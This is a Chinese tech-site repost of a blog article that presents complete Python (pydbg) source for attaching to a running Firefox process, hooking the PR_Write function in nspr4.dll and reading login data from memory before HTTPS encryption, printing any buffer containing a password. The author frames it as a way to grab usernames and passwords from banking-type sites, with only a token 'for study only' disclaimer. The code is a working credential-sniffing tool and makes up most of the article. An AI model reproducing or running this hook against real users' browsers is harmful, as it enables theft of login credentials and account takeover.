iis服务器助手广告广告
返回顶部
首页 > 资讯 > 后端开发 > Python >利用python的hook技术破解htt
  • 159
分享到

利用python的hook技术破解htt

技术pythonhook 2023-01-31 05:01:11 159人浏览 独家记忆

Python 官方文档:入门教程 => 点击学习

摘要

    相对于Http协议,http是的特点就是他的安全性,http协议的通信内容用普通的嗅探器可以捕捉到,但是https协议的内容嗅探到的是加密后的内容,对我们的利用价值不是很高,所以一些大的网站----涉及到“大米”的网站,采用的都是h

    相对于Http协议,http是的特点就是他的安全性,http协议的通信内容用普通的嗅探器可以捕捉到,但是https协议的内容嗅探到的是加密后的内容,对我们的利用价值不是很高,所以一些大的网站----涉及到“大米”的网站,采用的都是http是协议,嘿嘿,即便这样,还是有办法能看到他的用户名和密码的,嘿嘿,本文只是用于技术学习,只是和大家交流技术,希望不要用于做违法的事情,这个例子是在firefox浏览器下登录https协议的网站,我们预先打开程序,就来了个捕获用户名和密码:

下面是源代码:

  1. #!/ur/bin/env python 
  2. from pydbg import * 
  3. from pydbg.defines import * 
  4.  
  5. import utils 
  6. import sys 
  7.  
  8. dbg = pydbg() 
  9. found_firefox = False 
  10.  
  11. pattern = "passWord
  12.  
  13.  
  14. def ssl_sniff( dbg, args ): 
  15.     buffer = "" 
  16.     offset = 0 
  17.     while 1: 
  18.         byte = dbg.read_process_memory( args[1] + offset, 1 ) 
  19.         if byte != "\x00": 
  20.             buffer += byte 
  21.             offset += 1 
  22.             continue 
  23.         else: 
  24.             break 
  25.     if pattern in buffer: 
  26.         print "Pre-Encrypted: %s" % buffer 
  27.     return DBG_CONTINUE 
  28. # 寻找firefox.exe的进程 
  29. for (pid, name) in dbg.enumerate_processes(): 
  30.     if name.lower() == "firefox.exe": 
  31.         found_firefox = True 
  32.         hooks = utils.hook_container() 
  33.         dbg.attach(pid) 
  34.         print "[*] Attaching to firefox.exe with PID: %d" % pid 
  35. # 得到firefox的hook的 address 
  36.         hook_address = dbg.func_resolve_debuggee("nspr4.dll","PR_Write") 
  37.         if hook_address: 
  38. # 添加hook的内容,包括他的pid,地址,嗅探类型
  39.  
  40.             hooks.add( dbg, hook_address, 2, ssl_sniff, None ) 
  41.             print "[*] nspr4.PR_Write hooked at: 0x%08x" % hook_address 
  42.             break 
  43.         else: 
  44.             print "[*] Error: Couldn't resolve hook address." 
  45.             sys.exit(-1) 
  46.         if found_firefox: 
  47.             print "[*] Hooks set, continuing process." 
  48.             dbg.run() 
  49.         else: 
  50.                 print "[*] Error: Couldn't find the firefox.exe process." 
  51.                 sys.exit(-1) 
  52.                  
  53. if found_firefox: 
  54.     print "[*] Hooks set, continuing process." 
  55.     dbg.run() 
  56. else: 
  57.     print "[*] Error: Couldn't find the firefox.exe process." 
  58.     sys.exit(-1) 

演示视频见链接:http://www.linux520.com/stcs/2011-03-18/174.html#ecms 

--结束END--

本文标题: 利用python的hook技术破解htt

本文链接: http://www.lsjlt.com/news/189067.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

本篇文章演示代码以及资料文档资料下载

下载Word文档到电脑,方便收藏和打印~

下载Word文档
猜你喜欢
  • 利用python的hook技术破解htt
        相对于http协议,http是的特点就是他的安全性,http协议的通信内容用普通的嗅探器可以捕捉到,但是https协议的内容嗅探到的是加密后的内容,对我们的利用价值不是很高,所以一些大的网站----涉及到“大米”的网站,采用的都是h...
    99+
    2023-01-31
    技术 python hook
  • 爬虫小技巧利用Mitmproxy破解app
    mitmproxy就是用于MITM的proxy,MITM即中间人攻击(Man-in-the-middle attack)。用于中间人攻击的代理首先会向正常的代理一样转发请求,保障服务...
    99+
    2024-04-02
  • 利用Python破解摩斯密码
    目录摩尔斯电码Python实现摩斯密码对照表加密解密测试完整代码总结在电影《无间道》中,刘建明(刘德华饰)作为黑帮的卧底在一次行动中发现了警察的卧底陈永仁(梁朝伟饰)与黄警督(黄秋生...
    99+
    2024-04-02
  • 利用Python破解生日悖论问题
    目录一、前言二、生日悖论是什么三、公式破解四、随机数破解五、添加功能:dict储存及改变方式一、前言 别问我为啥题目是英文,因为…高大上(bushi。 刷视频的时候偶然...
    99+
    2022-12-08
    Python破解生日悖论 Python 生日悖论
  • 如何利用Python破解摩斯密码
    这篇文章将为大家详细讲解有关如何利用Python破解摩斯密码,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。摩尔斯电码摩斯密码的定义如下:摩尔斯电码( 又译为摩斯密码,英语:Morse code)是一种时通...
    99+
    2023-06-29
  • ​​​​​​​如何利用python破解zip加密文件
    目录前言:一、破解zip加密文件的思路二、实例代码演示0、zip的压缩方式1、解压zip文件2、实现密码字符的全排列三、密码是几位未知,也可以破解密码总结前言: 日常工作中,会遇到一...
    99+
    2024-04-02
  • 怎么利用python破解zip加密文件
    本篇内容主要讲解“怎么利用python破解zip加密文件”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习“怎么利用python破解zip加密文件”吧!一、破解zip加密文件的思路准备一个加密的zip...
    99+
    2023-06-30
  • 设备驱动程序的神话:破解技术传说
    神话 1:设备驱动程序可以轻松破解 事实上,现代设备驱动程序的破解难度非常高。它们采用先进的安全措施,如代码签名、加密和虚拟化,以防止未经授权的修改。此外,硬件制造商不断更新驱动程序,以修复安全漏洞和抵御攻击。 神话 2:破解设备驱动程序...
    99+
    2024-04-02
  • 利用Python暴力破解邻居家WiFi密码
    如觉得博主文章写的不错或对你有所帮助的话,还望大家多多支持呀!关注、点赞、收藏、评论。 文章目录 一、编写代码二、展示测试结果三、测试四、生成密码本(建议自己找一个密码本) ...
    99+
    2023-08-31
    python 开发语言
  • 利用python爬虫怎么破解加密字体
    本篇文章为大家展示了利用python爬虫怎么破解加密字体,内容简明扼要并且容易理解,绝对能使你眼前一亮,通过这篇文章的详细介绍希望你能有所收获。python是什么意思Python是一种跨平台的、具有解释性、编译性、互动性和面向对象的脚本语言...
    99+
    2023-06-06
  • 教你利用Python破解ZIP或RAR文件密码
    目录一、破解原理二、实验环境三、编码四、使用五、扩展一、破解原理 其实原理很简单,一句话概括就是「大力出奇迹」,Python 有两个压缩文件库:zipfile 和 rarfile,这...
    99+
    2024-04-02
  • 如何利用Python技术生成二维码?快来了解一下!
    在现代社会,二维码已经成为了我们生活中必不可少的一部分。它可以用于各种场合,例如商业广告、支付、活动签到等等。而Python作为一种高效的编程语言,也可以利用其强大的图像处理能力来生成二维码。本文将介绍如何利用Python技术生成二维码。 ...
    99+
    2023-10-13
    日志 开发技术 二维码
  • 利用python设计图像加密技术(Arnold算法)
    目录1、加密算法要求2、Arnold置乱原理3、python实现4、结果分析与总结下面展示了图像的加密和解密过程(左边是输入图像,中间是加密后的结果,右边是解密后的图像): 1、加...
    99+
    2024-04-02
  • 如何利用Python并发技术优化Apache性能?
    Apache是一款流行的Web服务器软件,它可以提供静态和动态内容。然而,当面对高负载的情况下,单个Apache进程无法承受太多的请求,这会导致性能下降。本文将介绍如何使用Python并发技术来优化Apache性能。 1. 什么是并发? 在...
    99+
    2023-11-13
    并发 apache 关键字
  • 突破数据类型的束缚:Python文件开发技术的新方法
    Python作为一门高级编程语言,已经成为了数据科学和人工智能领域中的重要工具。对于很多开发者来说,Python的强大和灵活性是其最大的优势之一。然而,对于一些需要处理大型数据文件的任务,Python的文件处理能力往往成为了一个瓶颈。Py...
    99+
    2023-09-17
    文件 开发技术 数据类型
  • 如何利用Go语言和Linux系统在存储开发技术领域取得突破?
    随着云计算和大数据时代的到来,存储技术已经成为了互联网时代的重要组成部分。而在存储领域的开发中,Go语言和Linux系统的结合,已经成为了一种非常流行的开发方式。在本篇文章中,我们将探讨如何利用Go语言和Linux系统在存储开发技术领域取得...
    99+
    2023-07-27
    linux 存储 开发技术
  • 如何利用 PHP 实现实时加载?技术讲解!
    PHP 是一种非常流行的编程语言,可以用于创建动态网站和 Web 应用程序。在现代 Web 应用程序中,实时加载变得越来越普遍,这允许用户在不刷新页面的情况下接收新信息。在本文中,我们将讨论如何使用 PHP 实现实时加载。 实时加载是指在 ...
    99+
    2023-10-25
    实时 开发技术 load
  • C++技术中的调试:利用断点和观察点的艺术
    c++++ 调试技巧包括使用断点和观察点。断点允许在特定位置暂停执行,检查变量值和代码状态。观察点持续监视变量或表达式,当其值改变时通知开发者,这对于跟踪难以调试的值和检测内存泄漏很有用...
    99+
    2024-05-08
    调试 c++
  • Python缓存技术解密:如何高效利用缓存提升开发效率?
    Python 缓存技术解密:如何高效利用缓存提升开发效率? 在 Python 中,缓存技术是一个非常实用的技术,它可以大大提高程序的运行效率。本文将介绍 Python 中的缓存技术,并演示如何使用缓存来提升开发效率。 什么是缓存技术? 缓存...
    99+
    2023-06-28
    load 缓存 开发技术
  • 如何利用 Python 开发技术和自然语言处理技术实现智能问答系统?
    智能问答系统是一种能够对用户提出的问题进行自动回答的系统。这种系统应用广泛,例如在线客服系统、智能助手等。在本文中,我们将介绍如何使用 Python 开发技术和自然语言处理技术实现智能问答系统。 选择合适的问答系统框架 选择合适的问答...
    99+
    2023-08-10
    开发技术 自然语言处理 linux
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作